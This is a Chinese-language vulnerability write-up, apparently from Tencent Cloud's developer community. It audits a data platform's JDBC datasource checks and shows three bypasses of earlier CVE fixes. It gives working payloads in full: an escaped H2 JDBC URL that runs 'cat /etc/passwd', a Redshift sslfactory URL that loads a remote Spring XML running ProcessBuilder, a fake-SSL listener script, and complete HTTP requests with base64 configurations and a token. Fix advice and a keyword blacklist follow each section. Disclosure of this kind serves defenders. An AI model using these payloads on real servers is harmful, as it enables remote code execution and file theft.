首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Database 2.10.10 代码审计

Database 2.10.10 代码审计

原创
作者头像
亿人安全
发布2025-08-19 23:02:41
发布2025-08-19 23:02:41
11000
代码可运行
举报
文章被收录于专栏:红蓝对抗红蓝对抗
运行总次数:0
代码可运行

原文首发在:奇安信攻防社区

https://forum.butian.net/article/786

两个月前看qax情报中心通报了2.10.9的漏洞,然后顺手挖了下,然后包送给官方,最后成功水到了cve。

0x01 h2 绕过

Database 2.10.10 中存在CVE-2025-49002的绕过。 core/core-backend/src/main/java/io/dataease/datasource/type/H2.java

image.png
image.png

可以看⻅只对StringUtils.containsAnyIgnoreCase(jdbc, "INIT", "RUNSCRIPT")) 进⾏检测。 根据h2 的特性在字符串中插⼊\进⾏转译,那么就可以绕过检测。

代码语言:javascript
代码运行次数:0
运行
复制
{"dataBase":"","jdbc":"jdbc:h2:mem:test;in\\it=DROP ALIAS IF EXISTS EXEC\\;CREAT\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;","urlType":"jdbcUrl","sshType":"password","extraParams":"","username":"123"," password":"123","host":"","authMethod":"","port":0,"initialPoolSize":5,"minPoolSize":5, "maxPoolSize":5,"queryTimeout":30}

这是我对应的poc

image.png
image.png
代码语言:javascript
代码运行次数:0
运行
复制
POST /de2api/datasource/getSchema HTTP/1.1 Host: 10.211.55.14:8100 Content-Length: 909 Accept: application/json, text/plain, */* X-DE-TOKEN: your token Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: application/json Origin: http://10.211.55.14:8100 Referer: http://10.211.55.14:8100/ Accept-Encoding: gzip, deflate, br Connection: close

{"id": "", "name": "11", "description": "", "type": "h2", "apiConfiguration": [], "paramsConfiguration": [], "enableDataFill": false, "configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSV NUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge 2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRS dW50aW1lKCkuZXhlYyhcImNhdCAvZXRjL3Bhc3N3ZFwiKS5nZXRJbnB1dFN0cmVhbSgpKS51c2VEZWxpbWl0ZXI oXCJcXEFcIikubmV4dCgpXFw7dGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24ocylcXDt9JCRcXDtDQUxMIE VYRUMoKVxcOyIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiO iIiLCJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJw b3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnl UaW1lb3V0IjozMH0=" }

数据包

image.png
image.png

命令执⾏结果直接放回在数据包⾥

修复

if (url.contains("create trigger") || url.contains("create alias") || url.contains("runscript from") || url.contains("allowloadlocalinfile") || url.contains("allowloadlocalinfileinpath") || url.contains("uselocalinfile") || url.contains("autodeserialize") || url.contains("detectcustomcollations") || url.contains("serverstatusdiffinterceptor")) { throw new IllegalArgumentException("Invalid JDBC URL: contains malicious characters."); } 建议对jdbcurl 去除转议后,然后对⽐⿊名单。

0x02 Redshift jdbc 攻击 (CVE-2025-48999 绕过)

core/core-backend/src/main/java/io/dataease/datasource/type/Redshift.java

image.png
image.png

我⻔知道 redshift是兼容 PostgreSQL 语法, 在postgresql中,除了"socketFactory", "socketFactoryArg"这样参数外,还有"sslfactory","sslfactory" 有这⼀样 的功能。区别再去sslfactory需要建⽴连接后触发。类似的还有 sslhostnameverifier/sslpasswordcallback/authenticationPluginClassName

所以这⾥⿊名单不完整。

我们可以使⽤下⾯的payload绕过检查。

代码语言:javascript
代码运行次数:0
运行
复制
jdbc:redshift://10.211.55.14:5432/;sslfactory=org.springframework.context.support.FileS ystemXmlApplicationContext;sslfactoryarg=http://10.211.55.14:8888/exp.xml

因为要建⽴连接后才能出发,这⾥使⽤⼀个脚本监听5432,当有连接时返回⼀个s,让服务器以为建⽴ssl 连接, 以便触发FileSystemXmlApplicationContext加载。

代码语言:javascript
代码运行次数:0
运行
复制
import socket

defrun_server():

# 创建TCP套接字 
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
# 设置套接字选项,允许地址重⽤ 
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# 绑定地址和端⼝ 
    server_address = ('', 5432) 
    server_socket.bind(server_address)

# 开始监听,最⼤连接数为5 
    server_socket.listen(5) 
print(f"服务器监听在端⼝ {server_address[1]}")

whileTrue:

# 接受客户端连接
        client_socket, client_address = server_socket.accept() 
print(f"接受来⾃ {client_address} 的连接")

try:

# 发送字符'S'到客户端
        client_socket.sendall(b'S') 
finally:

# 关闭客户端连接 
        client_socket.close()

if __name__ == "__main__":

    run_server()

然后准备⼀个 xml poc

代码语言:javascript
代码运行次数:0
运行
复制
<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<beanid="pb"class="java.lang.ProcessBuilder"init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/rce</value>
</list>
</constructor-arg>
</bean>
</beans>

然后在本⾥分别使⽤python启动

填⼊payload

代码语言:javascript
代码运行次数:0
运行
复制
jdbc:redshift://10.211.55.14:5432/;sslfactory=org.springframework.context.support.FileS ystemXmlApplicationContext;sslfactoryarg=http://10.211.55.14:8888/exp.xml
image.png
image.png

点击后 除发加载

image.png
image.png

对应数据包

代码语言:javascript
代码运行次数:0
运行
复制
POST /de2api/datasource/getSchema HTTP/1.1 Host: 10.211.55.14:8100 Content-Length: 652 Accept: application/json, text/plain, */* X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzQ5MTU0NTI0fQ.i5s KbBjb3myWOVZlGDXTh-TevP2HYlZ6idyRScjwXwI Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: application/json Origin: http://10.211.55.14:8100 Referer: http://10.211.55.14:8100/ Accept-Encoding: gzip, deflate, br Connection: close {"id":"","name":"1","description":"","type":"redshift","apiConfiguration": [],"paramsConfiguration":

[],"enableDataFill":false,"configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmNVcmwiOiJqZGJjOnJl ZHNoaWZ0Oi8vMTAuMjExLjU1LjE0OjU0MzIvO3NzbGZhY3Rvcnk9b3JnLnNwcmluZ2ZyYW1ld29yay5jb250ZXh 0LnN1cHBvcnQuRmlsZVN5c3RlbVhtbEFwcGxpY2F0aW9uQ29udGV4dDtzc2xmYWN0b3J5YXJnPWh0dHA6Ly8xMC 4yMTEuNTUuMTQ6ODg4OC9leHAueG1sIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiL CJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIiLCJob3N0IjoiIiwiYXV0aE1ldGhv ZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo 1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="}

成功rce。

image.png
image.png

修复

sslhostnameverifier/sslpasswordcallback/authenticationPluginClassName 、sslfactory","sslfactory" 加⼊⿊名单

0x03 JDBC _datasourceType bypass getjdbc_check

o.dataease.datasource.provider.CalciteProvider#getConnection

image.png
image.png

这⾥只要不穿h2 ,也就是不⾛h2的检查了

image.png
image.png
image.png
image.png

如果我们传别的type,⽐如oracle,或者直接在case选择⼀个没有处理的 然后在configuration.getJdbc() 就的检查就是oracle 的jdbc,这样就绕过了h2的检查⽅式。然后最后的 drivername 是直接从configuration 中获取。 configuration 我们可控,就是我们传⼊的json

image.png
image.png
image.png
image.png

也就是我可以在这⾥插⼊“driver":“org.h2.Driver” , 直接我就控制driverclass ,后⾯还是⾛h2 加载。

image.png
image.png

总结就是 在传type的时候传⼊不是h2类型,那么在getjdbc()的时候就会绕过h2的检查。 若果configuration中有dirvername,就会从中获取driverclass,这⾥我们可以插⼊“driver":“org.h2.Driver”,这 样就绕过修复⽅案进⾏绕过。

H2 rce 绕过列⼦

image.png
image.png

mysql读⽂件列⼦

image.png
image.png

起⼀个恶意mysql服务器 连接后,绕过⿊名单,直接读取本地⽂件

修复

代码语言:javascript
代码运行次数:0
运行
复制
String jdbcurl = null;
DatasourceTypes datasourceType = DatasourceTypes.valueOf(datasourceRequest.getDatasource().getType());  
Properties props = new Properties();  
DeDriver deDriver = null;  
switch (datasourceType) {  
case mysql:  
    defaultDriver = "com.mysql.jdbc.Driver";  
    jdbcurl = mysqlConfiguration.getJdbc();
    ....
    }
    conn = driverClass.connect(jdbcurl, props);

确保jdbc都通过switch语句进行处理,然后在传入connect()而不是直接从configuration.getJdbc()直接获取。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 h2 绕过
    • 修复
  • 0x02 Redshift jdbc 攻击 (CVE-2025-48999 绕过)
    • 修复
  • 0x03 JDBC _datasourceType bypass getjdbc_check
    • 修复
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档